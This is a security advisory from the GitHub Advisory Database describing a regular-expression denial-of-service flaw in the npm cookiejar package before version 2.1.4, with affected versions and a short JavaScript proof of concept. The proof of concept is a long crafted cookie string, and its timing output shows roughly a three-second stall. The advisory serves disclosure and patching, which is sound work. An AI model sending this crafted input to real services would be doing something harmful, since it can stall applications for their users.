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GHSA-h452-7996-h45h

cookiejar Regular Expression Denial of Service via Cookie.parse function

Source: GitHub Advisory Database (reviewed) Moderate CVE-2022-25901

Packages

EcosystemPackageAffectedFixed in
npm cookiejar < 2.1.4 2.1.4
Maven org.webjars.npm:cookiejar <= 2.1.3 no fix listed

Details

As written in the advisory (Markdown source, shown as plain text).

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers. Proof of concept: ``` ts\nconst { CookieJar } = require("cookiejar"); const jar = new CookieJar(); const start = performance.now(); const attack = "a" + "t".repeat(50_000); jar.setCookie(attack); console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`); ``` ``` CookieJar.setCookie(): 2963.214399999939ms ```

References

External links from the advisory. They lead to third-party sites.